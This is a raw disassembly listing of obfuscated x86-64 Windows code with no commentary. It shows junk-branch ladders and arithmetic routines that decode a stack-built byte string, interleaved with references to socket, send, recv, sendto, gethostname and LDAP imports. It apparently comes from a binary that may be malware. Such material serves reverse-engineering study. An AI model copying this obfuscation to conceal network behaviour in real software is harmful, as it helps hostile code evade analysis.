jmp 0x1400940d5
movabs rcx, 0x1007cf69292bd710
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x70
inc r9
dec rdi
inc rdi
jmp 0x140093462
movabs rdx, 0xbc8f6d4c2281ac60
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
dec rdi
inc rdi
jmp 0x140093462
movabs rdx, 0x69170b2f1bd781b0
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
jmp 0x140093eea
movabs rcx, 0x159ea912152d5700
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r8, r9
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140093462
movabs rcx, 0xc22646f50e832c50
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x30
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140093462
movabs rcx, 0x6eade4d807d901a0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x60
jmp 0x140093f79
movabs rdx, 0x1b3582bb012ed6f0
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140093fa7
movabs rdx, 0xc7bd209dfa84ac40
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi + 0x7f8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140093462
movabs rdx, 0xf7102b5569db4188
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x24
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
mov byte [rbp + rdi + 0x7f8], r11b
inc rdi
jmp 0x140093462
movabs rdx, 0xa397c938633116d8
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
cmp r9, 0x28
jb 0x140093949
movabs rcx, 0xa0fb8bc853e68110
add rcx, rdi
movzx eax, cl
and al, bl
mov edx, 8
sub dl, al
add dl, dl
add dl, cl
add dl, bl
lea r11d, [rdx + rdx]
jmp 0x1400940d5
movabs rdx, 0x501f671b5c86ec28
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x18
add r11b, dl
cmp r8, 3
jae 0x140093ec6
lea rax, [r9 + 0x1000]
cmp r8, rax
jbe 0x140093dfe
movabs rdx, 0x5e47b6a61140d630
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x50
jmp 0x140093979
movabs rdx, 0xfca704fe55dcc178
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x48
add r11b, dl
lea rax, [r9 + r8]
cmp rax, 0x10
je 0x140093f31
lea rcx, [r9 + 2]
cmp r8, rcx
jbe 0x140093d32
movabs rdx, 0xf1d7b0754b4615f8
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400939cc
movabs rcx, 0x8aa02524a3e08150
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x30
movzx eax, byte [rbp + rdi + 0x7f8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140093462
movabs rdx, 0x3727c3079d3656a0
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x60
add r11b, dl
jmp 0x140093fa7
movabs rdx, 0xe3af60ea968c2bf0
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140093f79
movabs rdx, 0x9036fecd8fe20140
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140093462
movabs rdx, 0x3cbe9cb08937d690
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
add r8, r9
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140093462
movabs rcx, 0xe9463a93828dabe0
jmp 0x140093cde
movabs rcx, 0x95cdd8767be38130
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x50
dec rdi
inc rdi
jmp 0x140093462
movabs rcx, 0x4255765975395680
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x80
inc r9
dec rdi
inc rdi
jmp 0x140093462
movabs rdx, 0xeedd143c6e8f2bd0
mov ecx, Ordinal_41
jmp 0x1400940c1
lea rax, [r9 + 0x10]
cmp r8, rax
jae 0x140093c0e
movabs rdx, 0x29bc310e83551558
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x68
jmp 0x140093a29
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140093c4f
movabs rcx, 0xd8e00c618bf58070
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x10
movzx eax, byte [rbp + rdi + 0x7f8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140093462
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140093c84
movabs rdx, 0x7fd0d09b9949d5d0
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140093f79
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140093cc7
movabs rcx, 0x26c194d5a69e2b30
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x50
add r8, r9
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140093462
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140093cf7
movabs rcx, 0x7a39f6f2ad4855e0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x20
jmp 0x140093ef0
lea rax, [r9 + 7]
cmp r8, rax
jne 0x140093a2c
movabs rdx, 0xcdb2590fb3f28090
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
dec rdi
inc rdi
jmp 0x140093462
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140093d53
movabs rdx, 0x4550129251f040a8
mov ecx, 0x34
jmp 0x1400940c1
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140093d89
movabs rcx, 0xec40d6cc5f449608
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x38
dec rdi
inc rdi
jmp 0x140093462
lea rax, [rcx + 1]
cmp r8, rax
jne 0x140093dbd
movabs rdx, 0x3fb938e965eec0b8
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 8
add r11b, dl
jmp 0x140093ef0
lea rax, [r9 + 8]
cmp r8, rax
jne 0x1400939cc
movabs rcx, 0xe113237a87419628
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x18
movzx eax, byte [rbp + rdi + 0x7f8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140093462
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x140093e3f
movabs rcx, 0xb1c018c317eb00e0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x20
movzx eax, byte [rbp + rdi + 0x7f8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140093462
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140093e73
movabs rdx, 0x531a0354393dd650
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x30
add r11b, dl
jmp 0x140093ef0
lea rax, [rcx + 1]
cmp r8, rax
jne 0x140093ea5
movabs rcx, 0xa69265713fe80100
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
dec rdi
inc rdi
jmp 0x140093462
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14009397c
movabs rdx, 0x4d8329ab4d3c5660
mov ecx, Ordinal_50
jmp 0x1400940c1
movabs rdx, 0xf473ede55a90abc0
add rdx, rdi
movzx eax, dl
and al, bl
add al, al
movzx r11d, byte [rbp + rdi + 0x7f8]
sub r11b, al
sub r11b, 0x40
add r11b, dl
add r11b, bl
movabs rdx, 0x1e301ef3dde5c118
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_45
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
add cl, bl
mov byte [rbp + rdi + 0x7f8], cl
add r8, r9
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140093462
movabs rcx, 0x47ec5002613ad670
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, byte [rbp + rdi + 0x7f8]
lea r11d, [rbx + rcx]
sub r11b, 0x10
jmp 0x140093f79
movabs rcx, 0xb4bab4fbf4a1eb08
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x38
movabs rcx, 0x71a88110e48febc8
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, 0x78
add cl, bl
movzx eax, cl
mov byte [rbp + rdi + 0x7f8], al
inc r9
add rax, r9
sub rdi, rax
movabs rdx, 0x9b64b21f67e50120
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
add cl, cl
add cl, bl
add cl, dl
mov byte [rbp + rdi + 0x7f8], cl
inc r8
mov rax, r12
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0x7f8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140093462
movabs rcx, 0x614252deedf7c058
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x68
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140093462
movabs rdx, 0xdc9f0c1e74d95a8
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x34
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
add r8, r9
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140093462
movabs rdx, 0x66d92c87d9f94048
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
dec rdi
inc rdi
jmp 0x140093462
movabs rdx, 0xbfe8684dcca4eae8
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x58
add r11b, dl
jmp 0x1400940d5
movabs rdx, 0x18f7a413bf509588
mov ecx, 0x24
add rdx, rdi
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movabs rdx, 0xcab7bcd6d73b9668
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
add cl, cl
add cl, dl
add cl, bl
mov byte [rbp + rdi + 0x7f8], cl
inc r9
dec rdi
inc rdi
jmp 0x140093462
movabs rcx, 0x7206dfd9b1fc4028
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x18
dec rdi
inc rdi
jmp 0x140093462
movabs rdx, 0x779db9829dfdc018
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140093462
movabs rcx, 0x7d34932b89ff4008
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x38
movzx eax, byte [rbp + rdi + 0x7f8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140093462
movabs rcx, 0xaec57c8a3b3416b8
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 8
jmp 0x14009345e
movabs rcx, 0x5b4d1a6d3489ec08
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x38
jmp 0x140093446
lea rcx, [rbp + 0x16a5f18]
jmp 0x140094205
lea rcx, [rbp + 0x13f7470]
jmp 0x140094205
lea rcx, [rbp + 0x7f8]
mov rdx, rsi
call fcn.140035c60
lea rdx, [0x140229ec0]
lea rcx, [rbp + 0x1a8]
call fcn.140002680
mov rdi, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp + 0x58]
mov rcx, qword [0x140230160]
call fcn.14006c820
mov rbx, qword [rax]
mov rcx, rdi
call fcn.140002820
lea rcx, [rbx + 0x30]
call fcn.14006ba40
mov rdi, rax
mov byte [rbp + 0x820], 0x68
mov byte [rbp + 0x821], 0x54
mov byte [rbp + 0x822], 0x55
mov byte [rbp + 0x823], 0x57
mov byte [rbp + 0x824], 0x41
mov byte [rbp + 0x825], 0x53
mov byte [rbp + 0x826], 0x41
mov byte [rbp + 0x827], 0x42
mov byte [rbp + 0x828], 4
mov byte [rbp + 0x829], 0x79
mov byte [rbp + 0x82a], 0x5b
mov byte [rbp + 0x82b], 0x5d
mov byte [rbp + 0x82c], 0x5d
mov byte [rbp + 0x82d], 0x45
mov byte [rbp + 0x82e], Ordinal_79
mov byte [rbp + 0x82f], 0x3f
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x830], xmm0
mov word [rbp + 0x840], ax
mov byte [rbp + 0x842], al
movabs rsi, 0x98f849e5d5b12d1e
movabs r13, 0x748c6910a2d0226
movabs r14, 0xf483d0c086702aa2
movabs r15, 0xe5f2439e72162656
movzx r10d, byte [rsp + 0x40]
nop dword [rax]
mov r9, qword [0x1402304a8]
mov r8, qword [0x1402304a0]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x14009509f
movzx r11d, byte [rbp + rbx + 0x820]
mov rdx, r11
nop dword [rax + rax]
cmp r9, rbx
ja 0x140095093
lea rax, [r8 + 1]
cmp r9, rax
jae 0x140094373
lea rcx, [rbx + r13]
mov rax, rdx
and rax, rcx
imul r10, rax, 0xfffffffffffffffe
add r10, rdx
add r10, rcx
sub r10b, 0xa
jmp 0x1400943b0
je 0x14009500a
lea rax, [r8 + 2]
cmp r9, rax
je 0x140094f70
lea rax, [r8 + 3]
cmp r9, rax
je 0x140094f39
lea rax, [r8 + 5]
cmp r9, rax
je 0x140094ee6
lea rax, [r8 + 7]
cmp r9, rax
je 0x140094eb7
nop dword [rax]
cmp r8, rbx
ja 0x140095087
lea rax, [r8 + 0x80]
cmp r9, rax
jae 0x1400943e9
lea rdx, [rbx + rsi]
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x140094420
lea rax, [r8 + 1]
cmp r9, rax
je 0x140094e61
lea rax, [r8 + 3]
cmp r9, rax
je 0x140094e3d
lea rax, [r8 + 4]
cmp r9, rax
je 0x140094e19
lea rax, [r8 + 2]
cmp r9, rax
je 0x140094ddf
nop dword [rax]
lea rax, [r8 + r9]
cmp rax, rbx
jbe 0x140094a89
nop dword [rax]
lea rax, [r8 + 0x80]
cmp r9, rax
je 0x140094a65
lea rax, [r8 + 5]
cmp r9, rax
je 0x140094a38
lea rax, [r8 + 0x400]
cmp r9, rax
je 0x140094a0e
lea rax, [r8 + 9]
cmp r9, rax
je 0x1400949fa
lea rax, [r8 + 0x7a]
cmp r9, rax
je 0x1400949d1
lea rax, [r8 + 0x20]
cmp r9, rax
je 0x140094998
lea rax, [r8 + 0x2a]
cmp r9, rax
je 0x14009496f
lea rax, [r8 + 0x42]
cmp r9, rax
je 0x140094946
lea rax, [r8 + 3]
cmp r9, rax
je 0x14009490c
lea rax, [r8 + 0x200]
cmp r9, rax
je 0x140094430
lea r9, [r8 + 0x5a]
lea r8, [r9 + 6]
lea rax, [r8 + 0x40]
cmp r9, rax
jb 0x140095063
lea rax, [r8 + 2]
cmp r9, rax
jb 0x14009503e
lea rax, [r8 + 0x80]
cmp r9, rax
jb 0x14009462c
lea rax, [r8 + 5]
cmp r9, rax
jb 0x14009460d
lea rax, [r8 + 0x400]
cmp r9, rax
jb 0x1400945ee
lea rax, [r8 + 9]
cmp r9, rax
jb 0x1400948a9
lea rax, [r8 + 6]
cmp r9, rax
jb 0x14009484a
lea rax, [r8 + 0x1000]
cmp r9, rax
jb 0x1400947f6
lea rax, [r8 + 0xa]
cmp r9, rax
jb 0x1400947c2
lea rax, [r8 + 0x41]
cmp r9, rax
jb 0x140094430
lea r9, [r8 + 5]
lea r8, [r9 + 0x28]
lea rax, [r8 + 0x400]
cmp r9, rax
ja 0x140094788
lea rax, [r8 + 9]
cmp r9, rax
ja 0x140094764
lea rax, [r8 + 0x7a]
cmp r9, rax
ja 0x140094740
lea rax, [r8 + 0x20]
cmp r9, rax
ja 0x14009470b
lea rax, [r8 + 0x2a]
cmp r9, rax
ja 0x1400946e7
lea rax, [r8 + 0x42]
cmp r9, rax
ja 0x1400946bf
lea rax, [r8 + 3]
cmp r9, rax
ja 0x140094695
lea rax, [r8 + 0x200]
cmp r9, rax
ja 0x140094667
lea rax, [r8 + 6]
cmp r9, rax
ja 0x140094653
lea rax, [r8 + 0x1000]
cmp r9, rax
ja 0x140094430
lea r9, [r8 + 2]
lea r8, [r9 + 0xa]
jmp 0x140094430
lea rdx, [rbx + r14]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x6e
add r10b, dl
jmp 0x140094420
lea rdx, [rbx + r15]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x5a
add r10b, dl
jmp 0x1400943b0
movabs rdx, 0xd760b67c5dbc220a
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub dl, 0x46
add r10b, dl
jmp 0x140094335
movabs rdx, 0xc7c24f2ead8968f0
mov ecx, gethostname
jmp 0x140094e70
movabs rcx, 0xb930c20c992f64a4
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x7c
inc r8
dec rbx
inc rbx
jmp 0x140094322
movabs rcx, 0xaa9f34ea84d56058
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x68
dec rbx
inc rbx
jmp 0x140094322
movabs rdx, 0x9c0da7c8707b5c0c
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x54
add r10b, dl
jmp 0x140094f0a
movabs rcx, 0x8d7c1aa65c2157c0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x40
jmp 0x140094f58
movabs rcx, 0x7eea8d8447c75374
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x2c
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140094322
movabs rcx, 0x70590062336d4f28
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x18
jmp 0x140094f91
movabs rcx, 0x61c773401f134adc
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 4
jmp 0x140094fc4
movabs rdx, 0x5335e61e0ab94690
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 8
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0x820]
add rax, r8
add rbx, rax
inc rbx
jmp 0x140094322
movabs rdx, 0x2eca0548d7d83bd2
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
mov byte [rbp + rbx + 0x820], r10b
inc rbx
jmp 0x140094322
movabs rdx, 0x20387826c37e3786
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
cmp r8, 1
jb 0x1400947e6
movabs rdx, 0xe6ff1dca0deedb24
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 2
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
lea r10d, [rcx + rcx]
jmp 0x140094e85
movabs rdx, 0x11a6eb04af24333a
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
cmp r9, 4
jae 0x140094d8a
lea rax, [r8 + 0x20]
cmp r9, rax
jbe 0x140094cb4
movabs rcx, 0x554f9a75426ab02c
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x34
jmp 0x14009481a
movabs rdx, 0x3155de29aca2eee
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 0x3f
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
lea rax, [r8 + r9]
cmp rax, 0x41
je 0x140094db4
lea rax, [r8 + 5]
cmp r9, rax
jbe 0x140094bde
movabs rcx, 0xbc57508f6cb9830e
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x62
jmp 0x14009486e
movabs rdx, 0x95d1bb6302270eb4
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0xa
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0x820]
add rax, r8
add rbx, rax
inc rbx
jmp 0x140094322
movabs rdx, 0x87402e40edcd0a68
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x140094fc4
movabs rdx, 0x78aea11ed973061c
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140094f91
movabs rdx, 0x6a1d13fcc51901d0
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140094322
movabs rdx, 0x5b8b86dab0befd84
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140094f58
movabs rdx, 0x4cf9f9b89c64f938
mov ecx, reloc.WLDAP32.dll_Ordinal_60
jmp 0x140094ef5
movabs rcx, 0x3e686c96880af4ec
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x74
dec rbx
inc rbx
jmp 0x140094322
movabs rcx, 0x2fd6df7473b0f0a0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x60
inc r8
dec rbx
inc rbx
jmp 0x140094322
movabs rcx, 0x214552525f56ec54
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x4c
jmp 0x140094e85
lea rax, [r8 + 0x64]
cmp r9, rax
jae 0x140094ab2
lea rdx, [rbx + r13]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0xa
jmp 0x1400948ca
lea rax, [r8 + 1]
cmp r9, rax
jne 0x140094af9
movabs rdx, 0x31f093cbab625a3c
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0x820]
add rax, r8
add rbx, rax
inc rbx
jmp 0x140094322
lea rax, [r8 + 3]
cmp r9, rax
jne 0x140094b3f
movabs rdx, 0x5da53b31e8706720
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140094322
lea rax, [r8 + 4]
cmp r9, rax
jne 0x140094b75
movabs rdx, 0x6c36c853fcca6b6c
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 6
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140094f58
lea rax, [r8 + 7]
cmp r9, rax
jne 0x140094bad
movabs rcx, 0x8959e298257e7404
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x1c
dec rbx
inc rbx
jmp 0x140094322
lea rax, [r8 + 2]
cmp r9, rax
jne 0x1400948cd
movabs rcx, 0xa67cfcdc4e327c9c
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x44
jmp 0x140094e85
lea rax, [r8 + 1]
cmp r9, rax
jne 0x140094c0f
movabs rcx, 0xcae8ddb18113875a
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x76
jmp 0x140094e85
inc rax
cmp r9, rax
jne 0x140094c4d
movabs rdx, 0xd97a6ad3956d8ba6
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
inc r8
dec rbx
inc rbx
jmp 0x140094322
lea rax, [r8 + 3]
cmp r9, rax
jne 0x140094c6e
movabs rdx, 0xe80bf7f5a9c78ff2
mov ecx, Ordinal_50
jmp 0x140094ec6
lea rax, [r8 + 6]
cmp r9, rax
jne 0x14009486e
movabs rdx, 0x13c09f5be6d59cd6
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140094322
lea rax, [r8 + 1]
cmp r9, rax
jne 0x140094cf7
movabs rcx, 0x63e1279756c4b478
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x48
movzx eax, byte [rbp + rbx + 0x820]
add rax, r8
add rbx, rax
inc rbx
jmp 0x140094322
lea rax, [r8 + 2]
cmp r9, rax
jne 0x140094d2d
movabs rdx, 0x9e275c1fa82cc5a8
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x34
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140094f58
lea rax, [r8 + 5]
cmp r9, rax
jne 0x140094d4e
movabs rdx, 0xacb8e941bc86c9f4
mov ecx, Ordinal_45
jmp 0x140094ef5
lea rax, [r8 + 4]
cmp r9, rax
jne 0x14009481a
movabs rdx, 0xbb4a7663d0e0ce40
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
dec rbx
inc rbx
jmp 0x140094322
movabs rdx, 0xf590aaec2248df70
add rdx, rbx
movzx eax, dl
and al, r11b
add al, al
movzx r10d, byte [rbp + rbx + 0x820]
sub r10b, al
sub r10b, 0x10
jmp 0x140094f04
movabs rcx, 0x422380e36a2e3bc
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, byte [rbp + rbx + 0x820]
lea r10d, [r11 + rcx]
